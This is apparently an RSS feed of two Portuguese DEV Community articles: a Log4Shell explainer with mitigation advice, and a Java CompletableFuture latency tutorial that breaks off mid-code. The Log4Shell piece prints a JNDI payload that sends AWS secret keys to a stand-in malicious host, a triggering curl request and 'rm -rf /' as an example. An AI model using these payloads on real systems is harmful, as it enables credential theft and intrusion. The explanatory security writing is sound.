<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Gilvan Filho</title>
    <description>The latest articles on DEV Community by Gilvan Filho (@gilvansfilho).</description>
    <link>https://dev.to/gilvansfilho</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F441974%2F21c52024-d3a8-48b5-9205-6b923eb46c56.jpeg</url>
      <title>DEV Community: Gilvan Filho</title>
      <link>https://dev.to/gilvansfilho</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/gilvansfilho"/>
    <language>en</language>
    <item>
      <title>Log4Shell - Explorando um servidor Java vulnerável</title>
      <dc:creator>Gilvan Filho</dc:creator>
      <pubDate>Thu, 30 Dec 2021 17:57:40 +0000</pubDate>
      <link>https://dev.to/gilvansfilho/log4shell-explorando-um-servidor-java-vulneravel-14me</link>
      <guid>https://dev.to/gilvansfilho/log4shell-explorando-um-servidor-java-vulneravel-14me</guid>
      <description>&lt;p&gt;No dia 09/12/2021 tornou-se pública a vulnerabilidade de segurança apelidada de Log4Shell e que foi encontrada na biblioteca Log4j2, amplamente utilizada em todo o mundo. Tal vulnerabilidade registrada como &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" rel="noopener noreferrer"&gt;CVE-2021-44228&lt;/a&gt; recebeu nota 10 de criticidade face facilidade de exploração e risco gerado uma vez que permite a execução de código remoto (RCE - Remote code execution). Através da execução de código remoto o atacante pode, por exemplo, executar comandos na linha de comando do S.O. que executa a aplicação, dai o nome Log4Shell. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Se a aplicação estiver executando com usuário de administrador do sistema (root) o atacante possuirá privilégios de administrador. Por isso a importância de executar aplicações com privilégios limitados.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Com acesso a linha de comando do S.O. o atacante pode fazer o que desejar, desde instalar &lt;em&gt;ransomwares&lt;/em&gt; e mineradores de criptomoedas a roubar dados e credenciais de acesso e etc.&lt;/p&gt;

&lt;h2&gt;
  
  
  A anatomia da vulnerabilidade
&lt;/h2&gt;

&lt;p&gt;Graças a funcionalidade de &lt;a href="https://logging.apache.org/log4j/2.x/manual/lookups.html" rel="noopener noreferrer"&gt;Lookups&lt;/a&gt; do Log4j2 e de &lt;a href="https://docs.oracle.com/javase/tutorial/jndi/overview/index.html" rel="noopener noreferrer"&gt;JNDI&lt;/a&gt; do Java é possível fazer com que uma aplicação vulnerável realize requisições expondo informações sensíveis ou baixe e execute código de um servidor remoto.&lt;/p&gt;

&lt;p&gt;A funcionalidade de Lookups faz a substituição de strings "especiais" antes de logar as mesmas. Tais strings possuem o formato &lt;code&gt;${name}&lt;/code&gt; onde name pode ser muitas coisas (conforme &lt;a href="(https://logging.apache.org/log4j/2.x/manual/lookups.html)"&gt;documentação oficial&lt;/a&gt; entre elas JNDI. No caso de uma string JNDI para resolver (substituir) o valor a ser logado o Log4j2 faz uma requisição a um servidor remoto, sendo ai que mora o perigo. O resultado dessa requisição pode ser código malicioso que será executado pela aplicação vulnerável.&lt;/p&gt;

&lt;p&gt;Para explorar a vulnerabilidade o atacante precisa fazer com que uma string maliciosa seja logada pelo Log4j2. &lt;/p&gt;

&lt;h3&gt;
  
  
  Obtendo informações sensíveis
&lt;/h3&gt;

&lt;p&gt;Um exemplo do uso da funcionalidade de Lookups seria logar a string &lt;code&gt;${env:JAVA_HOME}&lt;/code&gt; que resultaria com o valor da variável de ambiente JAVA_HOME sendo logada, comum em sistemas que executam aplicações Java. Combinando isso com JNDI o atacante poderia tentar enviar a string abaixo para uma aplicação vulnerável:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;${jndi:ldap://x${env:AWS_SECRET_ACCESS_KEY}-${env:AWS_ACCESS_KEY_ID}.servidor-malicioso.com/a}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Resultando em uma requisição LDAP via JNDI ao servidor-malicioso.com onde &lt;code&gt;${env:AWS_SECRET_ACCESS_KEY}&lt;/code&gt; e &lt;code&gt;${env:AWS_ACCESS_KEY_ID}&lt;/code&gt; seriam substituídos por informações sensíveis, nesse caso o &lt;em&gt;secret access key&lt;/em&gt; e o &lt;em&gt;access key id&lt;/em&gt; da AWS. A informação vazada poderia ser qualquer coisa, como o sistema operacional &lt;code&gt;${java:os}&lt;/code&gt;, a versão do java &lt;code&gt;${java:version}&lt;/code&gt; ou &lt;strong&gt;qualquer outra coisa&lt;/strong&gt;. Aqui a criatividade e paciência do atacante impera na busca de informações sensíveis.&lt;/p&gt;

&lt;p&gt;A figura abaixo representa o fluxo de um ataque que visa a obtenção de informações sensíveis:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1640870626385%2FqU9wQcxuFL.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1640870626385%2FqU9wQcxuFL.png" alt="SEQUENCE.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ao logar as requisições recebidas o atacante saberá que recebeu a requisição &lt;code&gt;jndi:ldap://wJalrXUtnFEMI.servidor-malicioso.com/a&lt;/code&gt;  da &lt;code&gt;aplicação-vulneravel.com&lt;/code&gt; onde &lt;code&gt;wJalrXUtnFEMI&lt;/code&gt; é a informação buscada.&lt;/p&gt;

&lt;p&gt;Para o exemplo apresentado consideramos que a aplicação vulnerável loga o valor contido no cabeçalho &lt;code&gt;User-Agent&lt;/code&gt; das requisições recebidas, possibilitando a exploração da vulnerabilidade.&lt;/p&gt;

&lt;h3&gt;
  
  
  Executando código remoto
&lt;/h3&gt;

&lt;p&gt;O ataque visando a execução de código remoto segue a mesma linha do que visa a obtenção de informações sensíveis, nesse caso, no entanto, o servidor LDAP ao receber uma requisição devolve uma classe Java com código malicioso que será executado pela aplicação vulnerável.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1640874715253%2FscOlOzF1_n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1640874715253%2FscOlOzF1_n.png" alt="JC3fy1TovAl.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Como dito no início do artigo com a habilidade de executar código no servidor vulnerável o atacante pode, entre outras coisas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Instalar &lt;em&gt;ransomwares&lt;/em&gt; e mineradores de criptomoedas;&lt;/li&gt;
&lt;li&gt;Roubar dados e informações sensíveis;&lt;/li&gt;
&lt;li&gt;Criar e executar arquivos&lt;/li&gt;
&lt;li&gt;Deletar diretórios&lt;/li&gt;
&lt;li&gt;Etc&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As possibilidades são infinitas a depender do privilégio do usuário do S.O. que executou a aplicação.&lt;/p&gt;

&lt;p&gt;A imagem abaixo demonstra uma PoC que criei em meu computador pessoal onde é injetado em uma aplicação vulnerável código malicioso que abre uma conexão socket e fica esperando requisições com comandos a serem executados na linha de comando do S.O. da aplicação.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1640876275486%2FZbsAxtE2q.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1640876275486%2FZbsAxtE2q.jpeg" alt="FGvtc2QXMAM1FEi.jfif"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Conforme é possível visualizar na imagem não há sucesso na primeira tentativa de executar o comando &lt;code&gt;dir&lt;/code&gt; uma vez que o exploit ainda não foi realizado. No entanto, após realizar a requisição com string maliciosa &lt;code&gt;curl -X GET -H "User-Agent: ${jndi:ldap://127.0.0.1:1389/a}" localhost:8080/log4j2&lt;/code&gt; que ativa o exploit, a segunda tentativa ocorre com sucesso. No exemplo foi executado um comando que não causa dano algum, no entanto poderia ser algo como &lt;code&gt;rm -rf /&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A aplicação foi propositalmente criada para ser vulnerável para fins de testes. Na imagem é possível observar que a aplicação loga o valor contido em User-Agent&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Quem é afetado pela vulnerabilidade
&lt;/h2&gt;

&lt;p&gt;Aplicações que possuem e utilizam o log4j2 para logar informações vindas de fora da aplicação (input de dados) podem está vulneráveis caso não façam o tratamento adequado de tais informações (&lt;a href="http://cwe.mitre.org/data/definitions/20.html" rel="noopener noreferrer"&gt;CWE-20 - Improper Input Validation&lt;/a&gt;). A princípio as versões afetadas iam de 2.0-beta9 até 2.14.1. &lt;/p&gt;

&lt;p&gt;No entanto após liberação da versão 2.15.0 que tinha como objetivo a resolução do problema outras vulnerabilidades relacionadas foram encontradas. O time da apache responsável por manter o Log4j2 vem atuando diariamente na resolução das vulnerabilidades detectadas.&lt;/p&gt;

&lt;h3&gt;
  
  
  Como se proteger"
&lt;/h3&gt;

&lt;p&gt;Manter as dependências da sua aplicação e do seu ambiente (versão do java) atualizados é a melhor forma de se proteger. As versões mais recentes que visam a resolução do problema são:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;2.17.1 (Java 8)&lt;/li&gt;
&lt;li&gt;2.12.4 (Java 7)&lt;/li&gt;
&lt;li&gt;2.3.2 (Java 6) &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No entanto isso nem sempre é possível. A &lt;a href="https://logging.apache.org/log4j/2.x/security.html" rel="noopener noreferrer"&gt;página de segurança&lt;/a&gt; do Log4j2 detalha uma lista de ações que podem ser tomadas para mitigar a vulnerabilidade. Além das ações citadas outras podem mitigar ou atenuar o problema:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Limitar o tráfego de saída: Se a aplicação vulnerável não puder realizar requisições para hosts desconhecidos não há como expor dados sensíveis ou baixar e executar código malicioso. Desta forma, se você limitar o trafego de saída para hosts conhecidos e confiáveis sua aplicação/servidor estará protegida.&lt;/li&gt;
&lt;li&gt;O uso de um WAF (Web Application Firewall) irá atenuar o problema uma vez que regras no firewall podem bloquear requisições maliciosas analisando se consta na requisição uma string maliciosa.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Considerações finais
&lt;/h2&gt;

&lt;p&gt;A ideia de escrever esse artigo surgiu no dia em que a vulnerabilidade foi divulgada, no entanto considerei prudente aguardar um pouco afim de que o mesmo não seja usado de forma indevida.&lt;/p&gt;

&lt;p&gt;Delimitei como objetivo demostrar como é simples explorar a vulnerabilidade e o risco da mesma, afim de alertar que ações devem ser tomadas para atenuar e se possível mitigar o problema.&lt;/p&gt;

&lt;p&gt;A PoC citada no artigo ficou plenamente funcional na madrugada no dia 16/12, conforme postado na tarde do mesmo dia no twitter.&lt;/p&gt;

&lt;p&gt;&lt;iframe class="tweet-embed" id="tweet-1471532165422845956-179" src="https://platform.twitter.com/embed/Tweet.html?id=1471532165422845956"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1471532165422845956-179');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1471532165422845956&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;Em nenhum momento divulguei e nem irei divulgar o código utilizado. Tão pouco irei ensinar a de fato explorar a vulnerabilidade.&lt;/p&gt;

&lt;p&gt;Espero, sinceramente, que as informações aqui passadas sejam utilizadas para o bem.&lt;/p&gt;

&lt;p&gt;Cover by &lt;a href="https://unsplash.com/@flyd2069" rel="noopener noreferrer"&gt;FLY:D&lt;/a&gt; on &lt;a href="https://unsplash.com/photos/mT7lXZPjk7U" rel="noopener noreferrer"&gt;Unsplash&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>log4j2</category>
      <category>log4shell</category>
      <category>security</category>
    </item>
    <item>
      <title>Tail Latency Amplification e Java</title>
      <dc:creator>Gilvan Filho</dc:creator>
      <pubDate>Tue, 28 Dec 2021 23:15:00 +0000</pubDate>
      <link>https://dev.to/gilvansfilho/tail-latency-amplification-e-java-42pe</link>
      <guid>https://dev.to/gilvansfilho/tail-latency-amplification-e-java-42pe</guid>
      <description>&lt;p&gt;Você já se deparou com situações onde o tempo de resposta de sua API é impactado pelo tempo de resposta de outras API's consultadas? Ou de operações independentes realizadas de forma síncrona e sequencial? Se sim você já sofreu com um problema conhecido como Tail latency amplification.&lt;/p&gt;

&lt;p&gt;Deixo a explicação formal para livros como Designing Data Intensive Applications mas o parágrafo anterior deixa transparecer um pouco o que é o problema.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tail Latency Amplification na prática
&lt;/h2&gt;

&lt;p&gt;Ao realizar de forma síncrona e sequencial diversas requisições independentes o tempo de resposta de sua API será, no mínimo, a soma dos tempos de resposta das requisições realizadas.&lt;/p&gt;

&lt;p&gt;Portanto se você realizar 3 requisições e cada uma delas responde em 150ms a sua resposta levará no mínimo 450ms (150x3). Agora imagine que um dos serviços em questão está sofrendo instabilidade, tendo tempo de resposta de 400ms. Nesse caso sua API levará no mínimo 700ms (150x2 + 400) para responder.&lt;/p&gt;

&lt;p&gt;Considerando que não é possível interferir nos serviços de terceiros, o que podemos fazer para minimizar o problema é mudar a forma como nossa aplicação realiza tais requisições. &lt;/p&gt;

&lt;p&gt;Não seria ótimo se pudéssemos buscar um tempo de resposta mais próximo do maior tempo de resposta entre as requisições realizadas? No cenário 1 (3 requisições de 150ms) nossa API responderia em torno de 150ms. No cenário 2 (2 requisições de 150ms e 1 de 400ms) nosso tempo de resposta seria em torno de 400ms.&lt;/p&gt;

&lt;p&gt;Como faríamos isso? Paralelizando as requisições.&lt;/p&gt;

&lt;h2&gt;
  
  
  Java 8 e CompletableFuture
&lt;/h2&gt;

&lt;p&gt;A classe &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html"&gt;CompletableFuture&lt;/a&gt; foi introduzida no Java 8 junto com melhorias na API de concorrência. Através dela é possível executar tarefas independentes de forma assíncrona e paralela.&lt;/p&gt;

&lt;p&gt;Para simular requisições custosas iremos criar 3 métodos que serão executados, em um primeiro momento, de forma síncrona e sequencial. Cada método terá um Thread.sleep(x) visando simular o tempo de resposta do servidor. Caso deseje altere os valores para observar o comportamento da aplicação.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ThirdPartyService&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getHello&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// suspende por 150ms&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// ignora exception&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; 
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"Hello"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getWorld&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// suspende por 150ms&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// ignora exception&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;" World"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getMyFriend&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// suspende por 400ms&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// ignora exception&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;" My Friend"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Para manter a simplicidade estamos ignorando as exceções. Isso não deve ser realizado em código que for utilizado em produção!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A primeira versão do nosso &lt;em&gt;client&lt;/em&gt; realiza as requisições de forma síncrona e sequencial:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SyncClient&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;ThirdPartyService&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ThirdPartyService&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;//instancia do serviço&lt;/span&gt;
        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;builder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;//utilizado para consolidar o resultado&lt;/span&gt;

        &lt;span class="nc"&gt;Long&lt;/span&gt; &lt;span class="n"&gt;curTime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nanoTime&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;//Realizando requisições ao serviço&lt;/span&gt;
        &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getHello&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWorld&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMyFriend&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;//impressão do resultado "Hello World My Friend"&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nanoTime&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;curTime&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1_000_000_000&lt;/span&gt;  &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ao executar o código acima será possível observar que o tempo de execução nunca será menor que a soma dos tempos de cada requisição. Ou seja, o tempo de execução será no mínimo 150 + 150 + 400 = 700 ms. A imagem abaixo detalha a sequência de eventos:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--diVpxKZf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1640707982934/uJRoAHSyu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--diVpxKZf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1640707982934/uJRoAHSyu.png" alt="DC24g2C9LyZZ.png" width="711" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vamos agora criar a segunda versão do nosso &lt;em&gt;client&lt;/em&gt; que executará as requisições de forma assíncrona e em paralelo conforme abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AsyncClient&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;ThirdPartyService&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ThirdPartyService&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// instancia do serviço&lt;/span&gt;
        &lt;span class="nc"&gt;ExecutorService&lt;/span&gt; &lt;span class="n"&gt;executor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Executors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newCachedThreadPool&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 1 - Obtém um pool de threads para execução de tarefas assíncronas&lt;/span&gt;

        &lt;span class="nc"&gt;Long&lt;/span&gt; &lt;span class="n"&gt;curTime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nanoTime&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

